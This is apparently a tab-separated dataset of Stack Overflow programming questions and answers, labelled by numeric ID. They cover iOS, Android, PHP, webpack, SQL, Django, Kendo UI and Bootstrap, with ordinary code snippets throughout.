1866475	0	Table footer view buttons <p>I have some signup form that had email and login text fields as table cells and signup button as button in footer view. That all functioned superb, here is the code</p> <pre><code>frame = CGRectMake(boundsX+85, 100, 150, 60); UIButton *signInButton = [[UIButton alloc] initWithFrame:frame]; [signInButton setImage:[UIImage imageNamed:@"button_signin.png"] forState:UIControlStateNormal]; [signInButton addTarget:self action:@selector(LoginAction) forControlEvents:UIControlEventTouchUpInside]; self.navigationItem.hidesBackButton = TRUE; self.tableView.tableFooterView.userInteractionEnabled = YES; self.tableView.tableFooterView = signInButton; self.view.backgroundColor = [UIColor blackColor]; </code></pre> <p>My question is how to add another button next to this one. </p> <p>By using [self.tableView.tableFooterView addSubview:...] buttons are not shown and if I use some other UIView, place buttons there and then say that the footerView is that UIView, I see the buttons, but am unable to press them.</p> <p>I hope that this isn't too confusing and that you understand my problem.</p>
7207858	0	php max function to get name of highest value? <p>I have a multi array and I am using the max function to return the highest value, however I'd like it to return the name? How can I do that?</p> <pre><code>$total = array($total_one =&gt; 'Total One', $total_two =&gt; 'Total Two'); echo max(array_keys($total)); </code></pre> <p>Thanks!!</p>
9577115	0	NoodleLineNumberView, the numbers are not aligned properly, not sure whats wrong <p>I'm trying to add line numbers using <a href="https://github.com/MrNoodle/NoodleKit" rel="nofollow noreferrer">NoodleLineNumberView</a>. The issue I'm having is that the line numbers dont line up properly with thier line number.I have to type 16 lines, then line 1 gets marked as line 16. If I scroll down past the top of the text I can see the other line numbers there, its just like all over the are shifted up.</p> <p>I subclassed a <code>NSScrollView</code> and added this bit of code. Thats all that should be needed. Is anyone else having this issue, or solved it?</p> <pre><code>- (void)awakeFromNib { self.gutter = [[NoodleLineNumberView alloc] initWithScrollView:self]; [self setVerticalRulerView:self.gutter]; [self setHasHorizontalRuler:NO]; [self setHasVerticalRuler:YES]; [self setRulersVisible:YES]; } </code></pre> <p><img src="https://i.stack.imgur.com/DVuuX.png" alt="Error"></p>
34375310	0	how to assign query to GridItem in SearchView? <p>I am trying to create a SearchView that searches for GridItems that each launch a specific second activity. However I cannot figure out the code that will help me with this. I have already set an onQueryTextChangeListener for the SearchView which should allow me to show results manually and whilst typing. Here's what I want to happen:</p> <p>When I type a specific query, let's say "car", I want to show the GridItem (which is just a clickable ImageView) of a car to the user. When I type "Camera", I want to show the user my GridItem with the image of a Camera on it.</p> <p>I also want to display results to the user whilst typing, so when I have only typed "c" yet, I want to show the user both the "car" and "Camera" GridItems. I want to stay in the same activity, so I need some sort of way to delete all GridItems except for the ones with a camera or a car picture on it depending on what the user typed, I don't want to launch a search activity.</p> <p>Now what makes this just a little harder is that I configured my BaseAdapter in a separate class, which means that I have to indirectly mention the GridItems in some way. Here's what I've done so far:</p> <pre><code> @Override public boolean onCreateOptionsMenu(Menu menu) { MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu, menu); final MenuItem searchItem = menu.findItem(R.id.action_search); SearchView searchView = (SearchView) MenuItemCompat.getActionView(searchItem); searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @Override public boolean onQueryTextSubmit(String query) { if (query.equals(R.string.Coconut)){ //here I need some code that will tell the system that I want to show the GridItem with a picture of a coconut on it } return false; } @Override public boolean onQueryTextChange(String newText) { return false; } </code></pre> <p>This is the separate class that initialises the Images in the GridView:</p> <pre><code>class SingleItem{ int image; double nutritional_value; SingleItem(int image, double nutritional_value){ this.image = image; this.nutritional_value = nutritional_value; } } public class objectAdapter extends BaseAdapter { ArrayList&lt;SingleItem&gt; list; Context context; Bundle myBundle; objectAdapter(Context context) { this.context = context; myBundle = new Bundle(); double[][] nutritional_value = { {89, 22.8, 0.3, 1}, {61, 1.5, 0.5, 1.1}, {375, 6.8, 0.6, 1.2}, {767, 0, 9.3, 0}, {580, 9.1, 42, 36.5} }; myBundle.putSerializable("array_array", nutritional_value); int[] image_id = { R.drawable.Bananas, R.drawable.Kiwis, R.drawable.oatmeals, R.drawable.coconuts, R.drawable.dark_chocolate }; for (int i = 0; i &lt; image_id.length; i++) { SingleItem tempSingleItem = new SingleItem(image_id[i], nutritional_value[i][i]); list.add(tempSingleItem); } } @Override public View getView(int position, View convertView, ViewGroup parent) { View row = convertView; ViewHolder holder = null; if (row == null) { LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); row = inflater.inflate(R.layout.single_item, parent, false); holder= new ViewHolder(row); row.setTag(holder); } else { holder = (ViewHolder) row.getTag(); } SingleItem temp = list.get(position); holder.myItem.setImageResource(temp.image); holder.myItem.setTag(temp); return row; } @Override public long getItemId(int position) { return position; } class ViewHolder { ImageView myItem; ViewHolder(View v){ myItem = (ImageView) v.findViewById(R.id.imageView2); } } @Override public Object getItem(int position) { return list.get(position); } @Override public int getCount() { return list.size(); } } </code></pre> <p>Thanks in advance!</p> <p>Vidal</p>
24690672	0	 <p>You can use <a href="https://docs.python.org/3.4/library/functions.html#input" rel="nofollow"><code>input</code></a> to accept a string from the user. As you'll have two co-ordinates to punch in, perhaps call this twice. Once you get the strings, cast the locations to integer via <code>int()</code>.</p> <p>If you want to generate random locations, you can use <a href="https://docs.python.org/3.4/library/random.html#random.randrange" rel="nofollow"><code>random.randrange()</code></a>. The syntax for <code>random.randrange()</code> is like so:</p> <pre><code>num = random.randrange(start, stop) #OR num = random.randrange(start, stop, step) </code></pre> <p>This will randomly generate a number from <code>start</code> to <code>stop</code> excluding <code>stop</code> itself. This is pretty much the same as with <code>range()</code>. The first method assumes a step size of 1, while the second method you can specify an optional third parameter which specifies the step size of your random integer generation. For example, if <code>start = 2</code>, <code>stop = 12</code> and <code>step = 2</code>, this would randomly generate a integer from the set of <code>[2, 4, 6, 8, 10]</code>.</p>
30462181	0	Webpack: Module build failed with jade-loader <p>This is likely a config issue, but I'm new to Webpack and haven't been able to figure it out after a few days. I'd appreciate some help! </p> <p><strong>Packages</strong></p> <ul> <li>webpack 1.9.8 </li> <li>jade-loader 0.7.1 </li> <li>jade 1.9.2 </li> </ul> <p><strong>webpack.config.js</strong></p> <pre><code>var webpack = require('webpack'); var path = require('path'); module.exports = { // ... resolve: { extensions: ["", ".webpack.js", ".web.js", ".json", ".js", ".jade" ], root: [ path.join(__dirname, 'src/js'), path.join(__dirname, 'node_modules') ], modulesDirectories: ['node_modules'], }, module: { loaders: [ { test: /\.json$/, loader: "json-loader" }, { test: /modernizr/, loader: "imports?this=&gt;window!exports?window.Modernizr" }, { text: /\.jade$/, loader: "jade-loader" } ] } // ... }; </code></pre> <p>With a completely empty entry file, I get the following error when trying to run webpack.</p> <pre><code>ERROR in ./~/jade/lib/runtime.js Module build failed: Error: unexpected token "indent" at MyParser.Parser.parseExpr (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:252:15) at MyParser.Parser.parse (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:122:25) at parse (/Users/name/project/code/assets/node_modules/jade/lib/index.js:104:21) at Object.exports.compileClientWithDependenciesTracked (/Users/name/project/code/assets/node_modules/jade/lib/index.js:256:16) at Object.exports.compileClient (/Users/name/project/code/assets/node_modules/jade/lib/index.js:289:18) at run (/Users/name/project/code/assets/node_modules/jade-loader/index.js:170:24) at Object.module.exports (/Users/name/project/code/assets/node_modules/jade-loader/index.js:167:2) @ ./entry.js 1:11-85 </code></pre> <p>If I actually require a jade file within entry.js, I get a different error:</p> <pre><code>ERROR in ./entry.js Module build failed: Error: unexpected text ; var at Object.Lexer.fail (/Users/name/project/code/assets/node_modules/jade/lib/lexer.js:871:11) at Object.Lexer.next (/Users/name/project/code/assets/node_modules/jade/lib/lexer.js:930:15) at Object.Lexer.lookahead (/Users/name/project/code/assets/node_modules/jade/lib/lexer.js:113:46) at MyParser.Parser.lookahead (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:102:23) at MyParser.Parser.peek (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:79:17) at MyParser.Parser.tag (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:752:22) at MyParser.Parser.parseTag (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:738:17) at MyParser.Parser.parseExpr (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:211:21) at MyParser.Parser.parse (/Users/name/project/code/assets/node_modules/jade/lib/parser.js:122:25) at parse (/Users/name/project/code/assets/node_modules/jade/lib/index.js:104:21) </code></pre> <p>However, if I comment out the jade loader line in <code>webpack.config.js</code> and require the jade file with the inline syntax <code>require('jade!template.jade')</code> -- everything works okay.</p> <p>Any idea what's up?</p>
35630788	0	 <p>I will explain how solved this problem. </p> <p>First of all the refresh token process is critical process. In my application and most of applications doing this : If refresh token fails logout current user and warn user to login .(Maybe you can retry refresh token process by 2-3-4 times by depending you)</p> <p>I recreated my refresh token using <code>HttpUrlConnection</code> which simplest connection method. No cache , no retries , only try connection and get answer .</p> <p>So this is my new refresh token process :</p> <p>My refresh method:</p> <pre><code>public boolean refreshToken(String url,String refresh,String cid,String csecret) throws IOException { URL refreshUrl=new URL(url+"token"); HttpURLConnection urlConnection = (HttpURLConnection) refreshUrl.openConnection(); urlConnection.setDoInput(true); urlConnection.setRequestMethod("POST"); urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); urlConnection.setUseCaches(false); String urlParameters = "grant_type=refresh_token&amp;client_id="+cid+"&amp;client_secret="+csecret+"&amp;refresh_token="+refresh; // Send post request urlConnection.setDoOutput(true); DataOutputStream wr = new DataOutputStream(urlConnection.getOutputStream()); wr.writeBytes(urlParameters); wr.flush(); wr.close(); int responseCode = urlConnection.getResponseCode(); Log.v("refresh http url","Post parameters : " + urlParameters); Log.v("refresh http url","Response Code : " + responseCode); BufferedReader in = new BufferedReader( new InputStreamReader(urlConnection.getInputStream())); String inputLine; StringBuffer response = new StringBuffer(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); // handle response like retrofit, put response to POJO class by using Gson // you can find RefreshTokenResult class in my question Gson gson = new Gson(); RefreshTokenResult refreshTokenResult=gson.fromJson(response.toString(),RefreshTokenResult.class); if(responseCode==200) { //handle new token ... return true; } //cannot refresh Log.v("refreshtoken", "cannot refresh , response code : "+responseCode); return false; } </code></pre> <p>In authenticate method :</p> <pre><code>@Override public Request authenticate(Route route, Response response) throws IOException { String userRefreshToken="your refresh token"; String cid="your client id"; String csecret="your client secret"; String baseUrl="your base url" refreshResult=refreshToken(baseUrl,userRefreshToken,cid,csecret); if (refreshResult) { //refresh is successful String newaccess="your new access"; return response.request().newBuilder() .header("Authorization", newaccess) .build(); } else { //refresh failed , maybe you can logout user return null; } } </code></pre>
38564716	0	 <p>Maybe this - JOIN instead of subselect:</p> <pre><code>SELECT t1.week_val, CASE t1.week_val WHEN 1 THEN t2.hour_val ELSE t1.hour_val END AS hour_val FROM table_name t1 LEFT JOIN table_name t2 ON t2.week_val = t1.week_val + 1 </code></pre>
6177796	0	 <p>There are chances that the first solution is faster.</p> <p>A very nice article :</p> <p><a href="http://cpp-next.com/archive/2009/08/want-speed-pass-by-value/" rel="nofollow">http://cpp-next.com/archive/2009/08/want-speed-pass-by-value/</a></p>
41035210	0	AnimationDrawable animation on KeyboardView.Key android <p>I want to play animation on a key on custom keyboard. I've created the custom keyboard and everything is working fine, except the animation which is kind of popping up of key. I'm accomplishing it through AnimationDrawable. When <code>animation.start()</code> is called, only the first frame of animation is shown and it stucks there. Below is my simple code for animation. </p> <pre><code>enterKey.icon = ContextCompat.getDrawable(getActivity(), R.drawable.enter_button_animation); AnimationDrawable drawable = (AnimationDrawable) enterKey.icon; drawable.start(); mKeyboardView.invalidateAllKeys(); </code></pre> <p>Now I want to know how can I get the exact view handle of any key or why this animation is not working. <code>KeyboardView.Key.icon</code> is just a drawable. Given is my <code>enter_button_animation.xml</code>:</p> <pre><code> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;animation-list xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/selected" android:oneshot="false" &gt; &lt;item android:drawable="@drawable/enter_key_1" android:duration="50" /&gt; &lt;item android:drawable="@drawable/enter_key_2" android:duration="50" /&gt; &lt;item android:drawable="@drawable/enter_key_3" android:duration="50" /&gt; &lt;item android:drawable="@drawable/enter_key_4" android:duration="50" /&gt; &lt;/animation-list&gt; </code></pre> <p>Thanks in advance. </p>
29093286	0	 <p>You can do something like:</p> <pre><code>$("#grid").kendoGrid({ dataSource: { type: "json", pageSize: 10, serverPaging: true, transport: { read: "http://whatever" } }, selectable: "cell", pageable: true, columns: ["ProductID", "ProductName"], change: function() { var dataItem = this.dataSource.view()[this.select().closest("tr").index()]; alert(dataItem.UnitPrice); } } </code></pre>
21132192	0	Outputting file contents as UTF-8 leads to character encoding issues <p>I set my header as follows:</p> <pre><code>header( 'Content-Type: text/html; charset="utf-8"' ); </code></pre> <p>and then output a local file on my server to the browser using the following code-segment:</p> <pre><code>$content = file_get_contents($sPath); $content = mb_convert_encoding($content, 'UTF-8'); echo $content; </code></pre> <p>The files I have on the server are created by lua and thus, the output of the following is <code>FALSE</code> (before conversion):</p> <pre><code>var_dump( mb_detect_encoding($content) ); </code></pre> <p>The files contain some characters like <code>™</code> (<code>&amp;trade;</code>) etc. and these appear as plain square boxes in browsers. I've read the following threads which were suggested as similar questions and none of the variations in my code helped:</p> <ul> <li><a href="http://stackoverflow.com/q/17709888/1190388">PHP File Get Contents &amp; String Encoding</a> (No gzip in my case, the files are plain <code>.txt</code>s)</li> <li><a href="http://stackoverflow.com/q/2236668/1190388">file_get_contents() Breaks Up UTF-8 Characters</a> (Tried first two top-rated solutions, neither worked. The third one isn't applicable for my case)</li> <li><a href="http://stackoverflow.com/q/5600371/1190388">file_get_contents() converts UTF-8 to ISO-8859-1</a> (No stream is there to provide as context)</li> </ul> <p>There seem to be no problems when I simply use the following:</p> <pre><code>header( 'Content-Type: text/html; charset="iso-8859-1"' ); // setting path here $content = file_get_contents($sPath); echo $content; </code></pre>
6786715	0	 <pre><code>&lt;Button&gt; &lt;Button.Background&gt; &lt;ImageBrush Source="/AlarmClock;component/Images/page_preview.png" /&gt; &lt;/Button.Background&gt; &lt;/Button&gt; </code></pre> <p>just make sure the file is maked as "Resource" in visual studio. Alternatively you can mark it as "Content" and use it like this:</p> <pre><code> &lt;ImageBrush Source="/Images/page_preview.png" /&gt; </code></pre> <p>I don't know if you need to assign the background programatically (because you can do it in markup), but if you do here is what you need to say:</p> <pre><code>viewButton.Background = new ImageBrush { Source = new BitmapImage(new Uri("", UriKind.Relative)) } </code></pre> <p>[FURTHER]</p> <p>in order set margin programmatically:</p> <pre><code>viewButton.Margin = new Thickness(left, top, right, bottom); </code></pre>
12165682	1	yield with recursive function in python <p>I am trying to create a generator for permutation purpose.I know there are other ways to do that in python.But this is for somthing else. But I am not able to yield the values .Can you help?</p> <pre><code>def perm(s,p=0,ii=0): l=len(s) s=list(s) if(l==1): print ''.join(s) elif((l-p)==2): yield ''.join(s) yield ''.join([''.join(s[:-2]),s[-1],s[-2]]) #print ''.join(s) #print ''.join([''.join(s[:-2]),s[-1],s[-2]]) else: for i in range(p,l): tmp=s[p] s[p]=s[i] s[i]=tmp perm(s,p+1,ii) </code></pre>
27428019	0	Report PHP / MySQL <p>I apologize in advance for my bad English level.</p> <p>I explain my problem ... I try to create a web interface that would handle the number of times that the employees will eat in the canteen ...</p> <p>Everything works fine but I would get a report of the number of times employees. and that I hang. In fact I have a table called "Transactions" and understand the "Transaction ID", "Surname", "Name", "Date_transaction" and "_transaction time"</p> <p>How could I do to get a report in php / mysql? By selecting a specific month?</p> <p>Thank you in advance for your answers.</p> <p>greetings,</p> <p>Ljebool</p>
33032934	0	 <p>I've noticed this happens with Redshift/Flyway if the schema or table name contains characters in mixed case.</p> <p>Try to configure an all-lower-case metadata table name instead, like <code>test_schema.db_schema_ver</code>, for example.</p>
7784436	0	 <p>First, your code does not have any effect. Hash table "breaks" the order. The order of elements in hash table depends on the particular hash implementation. </p> <p>There are 2 types of Maps in JDK: HashMap and SortedMap (typically we use its implementation TreeMap). BTW do not use Hashtable: this is old, synchronized and almost obsolete implementation). </p> <p>When you are using HashMap (and Hashtable) the order of keys is unpredictable: it depends on implementation of <code>hashCode()</code> method of class you are using as keys of your map. If you are using TreeMap you can use Comparator to change this logic. </p> <p>If you wish your keys to be extracted in the same order you put them use <code>LinkedHashMap</code>.</p>
30508156	0	Multiple multiple linear regression <p>I have 40 SNPs and want to see the effect each individual SNP has on the age of menopause. To do this I need do a multiple linear regression each of the individual SNPs. I want to avoid typing the same command 40 different times (as in the future I'll be doing this with even more SNPs).</p> <p>What I want to do is make a list of the SNPs in a <code>csv</code> file and call this <code>x</code>:</p> <pre><code>x &lt;- read.csv("snps.csv") </code></pre> <p>Then I want to use this list in this command;</p> <pre><code>fit &lt;- lm(a_menopause ~ "snps" + country, data=mydata) </code></pre> <p>Where <code>snps</code> is my list of the SNPs I need to analyse, but needs to be done one SNP at a time. I'd ideally like to print the results to a <code>csv</code> file.</p>
38134727	0	How to animate RecyclerView height before items are shown <p>How can I, or should I say when can I animate recyclerView height before items are shown ? I can get the final height in onMeasure but the items always appear too fast and the animation doesn't work.</p> <p>Any idea on how I could get this animation to work ?</p>
20252938	0	 <p>I am using <code>BackgroundWorker</code> a lot and can tell that <code>RunWorkerCompleted</code> event is <strong>definitely</strong> ran in UI thread. Also, you can pass the <code>DoWork</code> result to according eventArgs field and then, in <code>RunWorkerCompleted</code> take it from eventArgs to perform some UI-dependent operations with it, as mentioned <a href="http://stackoverflow.com/questions/939635/how-to-make-backgroundworker-return-an-object">here</a></p>
14790223	0	 <p>You almost get the answer from <strong>Matthew</strong>, all you need to do is to add cast :</p> <pre><code>Select CAST(SUM(timediff(timeOut, timeIn)) as time) as totalhours FROM volHours WHERE username = 'skolcz' </code></pre>
24761177	0	 <p>That's not gonna work. What I would do is creating a block in layout that should contain boxes and then embed the boxes in page1.twig and page2.twig.</p> <p>The embed tag works exactly like include with added benefit of allow extending the blocks defined in the embedded template. What you get after embedding doesn't contain blocks.</p>
34952550	0	Boost Spirit Qi : Is it suitable language/tool to analyse/cut a "multiline" data file? <p>I want to apply various operations to data files : algebra of sets, statistics, reporting, changes. But the format of the files is far from code examples and a bit weird. There are differents sorts of items, items type, and some of them are put together as a collection. There is a simplistic example below.<br> I'm new in boost::spirit and I have tried coding to split the items and get basic informations (name, version, date) required for most of treatments. Eventually it seems tricky for me. <em>Is the problem my lack of skills or boost::spirit is not suitable to this format?</em><br> Studying boost::spirit is not a waste of time, I am sure to use it later. But I didn't find examples of code like mine, I may not go the right way.</p> <pre><code>&gt;&gt;&gt;process_type_A //name(typeA_1) //version(A.1.99) //date(2016.01.01) //property1 "pA11" //property2 "pA12" //etc_A_1 (thousand of lines - a lot are "multiline" and/or mulitline sub-records) &lt;&lt;&lt;process_type_A &gt;&gt;&gt;process_type_A //name(typeA_2) //version(A.2.99) //date(2016.01.02) //property1 "pA21" //property2 "pA22" //etc_A_2 (hundred or thousand of lines) &lt;&lt;&lt;process_type_A &gt;&gt;&gt;process_type_B //name(typeB_1) //version(B.1.99) //date(2016.02.01) //property1 "pB11" //property2 "pB12" //etc_B_1 (hundred or thousand of lines) &lt;&lt;&lt;process_type_B &gt;&gt;&gt;paramset_type_C //&gt;&gt;paramlist ////name(typeC_1) ////version(C.1.99) ////date(2016.03.01) ////property1 "pC11" ////property2 "pC12" ////etc_C_1 (hundred or thousand of lines) //&lt;&lt;paramlist //&gt;&gt;paramlist ////name(typeC_2) ////version(C.2.99) ////date(2016.04.01) ////property1 "pC21" ////property2 "pC22" ////etc_C_2 (hundred or thousand of lines) //&lt;&lt;paramlist &lt;&lt;&lt;paramset_type_C </code></pre> <p>Code::Blocks<br> Boost 1.60.0<br> GCC Compiler on Windows and Linux</p>
2601346	0	 <p><a href="http://hsqldb.org/web/hsqlFeatures.html" rel="nofollow noreferrer">HSQL</a> also provides support for interpreting csv files as <code>ResultSet</code>s.</p>
24099151	0	 <p><a href="http://swift-lang.org/tryswift/" rel="nofollow">http://swift-lang.org/tryswift/</a> doesn't look like it's anything to do with Apple Swift. The "try Swift" page you're using is for <a href="https://en.wikipedia.org/wiki/Swift_%28parallel_scripting_language%29" rel="nofollow">Swift</a>, not <a href="https://en.wikipedia.org/wiki/Swift_%28Apple_programming_language%29" rel="nofollow">Swift</a>.</p> <p>Note that Apple's has the stylised <a href="https://en.wikipedia.org/wiki/Swift" rel="nofollow">swift</a> in its logo heading downwards; the parallel scripting language Swift is heading upwards :)</p> <p>To try Apple's Swift in a similar way, you'll need the Xcode 6 beta and a "playground" file.</p>
13219045	0	 <p>Whether or no a thread can process a timer callback within its own context depends entirely on how the timer expiry can be communicated to the thread. The thread must call the callback itself upon the receipt of some inter-thread comms, (eg. a WM_TIMER message received by a Windows GUI thread when it is waiting on its Windows message queue input). If the thread is not waiting for input, it cannot handle any inter-thread comms from any kind of timer and so cannot call any timer-handler callback within its own context.</p> <p>Forms.Timer, the C++ builder Timer component and other such are ways of arranging for interval-based inter-thread notifications - if a thread does not actively wait for and handle those notifications, there can be no timer callback in the context of that thread.</p>
2239266	0	Unit Testing Machine Learning Code <p>I am writing a fairly complicated machine learning program for my thesis in computer vision. It's working fairly well, but I need to keep trying out new things out and adding new functionality. This is problematic because I sometimes introduce bugs when I am extending the code or trying to simplify an algorithm.</p> <p>Clearly the correct thing to do is to add unit tests, but it is not clear how to do this. Many components of my program produce a somewhat subjective answer, and I cannot automate sanity checks.</p> <p>For example, I had some code that approximated a curve with a lower-resolution curve, so that I could do computationally intensive work on the lower-resolution curve. I accidentally introduced a bug into this code, and only found it through a painstaking search when my the results of my entire program got slightly worse.</p> <p>But, when I tried to write a unit-test for it, it was unclear what I should do. If I make a simple curve that has a clearly correct lower-resolution version, then I'm not really testing out everything that could go wrong. If I make a simple curve and then perturb the points slightly, my code starts producing different answers, even though this particular piece of code really seems to work fine now.</p>
35875484	0	ember adapter url - find by id pattern - nested api resources <p>I've got an api with specific url structure. How do I pass the ID to the url string using an adapter or something? There's only one model, <code>patient</code> but I need to query each of these items plus more. I've seen where you can place the id at the end of the url, but I'm not sure how to build an additional string to a find query. Thanks!</p> <p>GET: <code>/api/v1/me/patients/{id}</code></p> <p>GET: <code>/api/v1/me/patients/{patient_id}/public_number</code></p> <p>This is what the model has in it:</p> <pre><code>/models/patient.js export default DS.Model.extend({ public_number: DS.attr('string') }); </code></pre>
16468270	0	 <p>In Scala, a <code>List</code> is of immutable length. It can work like a <code>LIFO</code> (last in, first out) structure, but it cannot behave like a Java <code>ArrayList</code>.</p> <p>You are doing this:</p> <pre><code>val lst = List[Int]() </code></pre> <p>which gives your <code>lst</code> a size of <code>0</code>. It means you can't really do anything with it.</p> <p>For a mutable collection, use <code>ListBuffer</code>.</p> <p>Also, the <code>::</code> operator is right associative, which means it will be called on the object found on the right side of the operator.</p> <pre><code>val lst = ListBuffer[Int]() for (i &lt;- 0 until 100) { lst += i // will add to the tail. } </code></pre>
38799961	0	 <p>I recommend this. If you have a emulator preview connected first go inside Android Wear app to the emulator and choose FORGET.</p> <p>Later use the commands all are using</p> <pre><code>adb forward tcp:4444 localabstract:/adb-hub adb connect localhost:4444 </code></pre> <p>That work for me.</p>
40584251	0	Azure portal metrics weird numbers <p>I'm trying to view our peak bytes received/sec count for an eventhub in order to scale it properly. However, the portal is showing vastly different results from the "daily" view to the "hourly" view. This is the graph using the "hourly" view: <a href="https://i.stack.imgur.com/EU76Z.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/EU76Z.png" alt="enter image description here"></a></p> <p>From here, it looks like I'm peaking at around 2.5 MB/s. However, if I switch to the "daily" view, the numbers are vastly different: <a href="https://i.stack.imgur.com/S3YeP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/S3YeP.png" alt="enter image description here"></a></p> <p>So I can't make sense of this. It's the exact same counter, showing vastly different results. Anyone know if the Azure portal performs any "adding" or similar? </p> <p>Edit: Notice that the counter is "bytes received per second". It shouldn't matter if I look at the hourly or daily view, the number of items per second shouldn't be affected by that (tho it clearly is).</p>
2452979	0	 <p>I assume that on page load, you are setting up var sncro=1; and when some data changes, you adjust this value. Here is the quick check:</p> <pre><code>window.onbeforeunload = function (evt) { if (sncro != 1) { var message = 'Are you sure you want to leave, cause there are some unsaved changes?'; if (typeof evt == 'undefined') { evt = window.event; } if (evt ) { evt.returnValue = message; } return message; } } </code></pre>
3876476	0	Unit Testing in .Net with Endeca Objects <p>Most or all of Endeca's objects have internal constructors. I'm working on a good project that lacks great test coverage around the Endeca API, are there any good strategies to unit testing the interactions with Endeca?</p> <p>So far the best we have is kind of a poor man's adapter pattern:</p> <pre><code>public class DimValue : IDimValue { public DimValue(Dimension dim, DimVal dimValue) { Dimension = dim; Value = dimValue; } public virtual bool IsNavigable() { return Value.IsNavigable(); } public virtual long Id() { return Value.Id; } // and so on... } </code></pre> <p>We can then mock our own type, DimValue. Is this the best way to keep their API as testable as can be? Or is there another method that is preferred to this?</p>
28882718	0	 <p>To get the next object, first filter to get all objects with a higher priority:</p> <pre><code>objects = MyObjects.objects.filter(priority__gt=12) </code></pre> <p>then order the results by priority:</p> <pre><code>objects = objects.order_by('priority') </code></pre> <p>finally select the first item in the queryset:</p> <pre><code>next_obj = objects.first() </code></pre> <p>Putting it together:</p> <pre><code>next_obj = MyObjects.objects.filter(priority__gt=12).order_by('priority').first() </code></pre> <p>Getting the previous object is similar, but you need to order in reverse:</p> <pre><code>prev_obj = MyObjects.objects.filter(priority__lt=12).order_by('-priority').first() </code></pre> <p>Note that <a href="https://docs.djangoproject.com/en/1.7/ref/models/querysets/#django.db.models.query.QuerySet.first" rel="nofollow"><code>first()</code></a> can return <code>None</code> if there are no objects in the queryset (in your case, that means the current object has the highest or lowest priority in the list). If the same priority can appear more than once, you might want to adjust the code to use <a href="https://docs.djangoproject.com/en/1.7/ref/models/querysets/#gte" rel="nofollow"><code>gte</code></a> and <a href="https://docs.djangoproject.com/en/1.7/ref/models/querysets/#lte" rel="nofollow"><code>lte</code></a>.</p>
12788738	0	 <p>The h values need to be adjusted for the three cases prior to calculating the cos values dependent on them. i.e.:</p> <pre><code> if(h&lt;(2.0f*pi/3.0f)){ y = in*( 1.0f + (s*cos(h) / cos(pi/3.0f-h)) ); b = x; r = y; g = z; }else if(h&lt;(4.0f*pi/3.0f)){//&amp;&amp;2pi/3&lt;=h h -= 2*pi/3; y = in*( 1.0f + (s*cos(h) / cos(pi/3.0f-h)) ); r = x; g = y; b = z; }else{ //less than 2pi &amp;&amp; 4pi/3&lt;=h h -= 4*pi/3; y = in*( 1.0f + (s*cos(h) / cos(pi/3.0f-h)) ); g = x; b = y; r = z; } </code></pre> <p>You will also need to make sure that none of the rr,gg,bb values end up outside the 0..255 interval:</p> <pre><code>if (rr &lt; 0) rr = 0; if (rr &gt; 255) rr = 255; </code></pre> <p>... etc</p>
17434988	0	 <p>In your .htaccess, add the following for each type of file type:</p> <p><code>AddType application/zip .zip</code></p> <p>See: <a href="http://www.htaccess-guide.com/adding-mime-types/" rel="nofollow">http://www.htaccess-guide.com/adding-mime-types/</a> </p>
17126869	0	 <p>Following on @Arun's comment, you can easily create a single data frame with another column indicating the party in question: </p> <pre><code>A = read.table(text="item Alice Bob apples 3 7 pears 1 2 cookies 10 4 grapes 238 483 watermelon 0 1", header=T) B = read.table(text="item Alice Bob grapes 13 26", header=T) C = read.table(text="item Alice Bob beef 1 3 rice 1 2 apples 1 0", header=T) Z = read.table(text="item Alice Bob rice 2 1 grapes 10 15 watermelon 1 0 beef 0 2", header=T) A$party = "A"; B$party = "B"; C$party = "C"; Z$party = "Z" dframe = rbind(A, B, C, Z) </code></pre> <p>From there, you can get functions of the columns without difficulty: </p> <pre><code>apply(dframe[,2:3], 2, sum) </code></pre> <p>If you wanted to deal with individual items, and they had duplicates between the parties, you could perform <a href="http://en.wikipedia.org/wiki/Join_%28SQL%29" rel="nofollow">joins</a> on the original data frames. There's an SO thread on doing this in R <a href="http://stackoverflow.com/questions/1299871/how-to-join-data-frames-in-r-inner-outer-left-right/1300618#1300618">here</a>. </p>
4842429	0	 <p>You (probably) can't communicate in a <em>cross-platform</em> (and cross-browser) way from a web client to a local process, in any other way than you could with a web service.</p> <p>In other words, I think your main idea is the way to go - set up a local HTTP server that will serve the client, and then have that process also communicate with whatever remote services you may need. Perhaps you can find a lightweight Java-based HTTP server that can run your local process with GWT-RPC code inside it to minimize the changes to your current code.</p>
780863	0	 <p>The <a href="http://nhibernate.info" rel="nofollow noreferrer">nhibernate.info</a> website has lot of docs.</p>
35179719	0	 <p>you need both <code>hidden.bs.collapse</code> and <code>shown.bs.collapse</code></p> <pre><code>$(document).ready(function() { function toggleChevron(e) { $(e.target) .prev('.panel-heading') .find("i") .toggleClass('fa-question fa-angle-up'); } $('#accordion').on('hidden.bs.collapse shown.bs.collapse', toggleChevron); }); </code></pre> <p><a href="https://jsfiddle.net/BG101/pmadwvpk/8/" rel="nofollow"><strong>FIDDLE</strong></a></p>
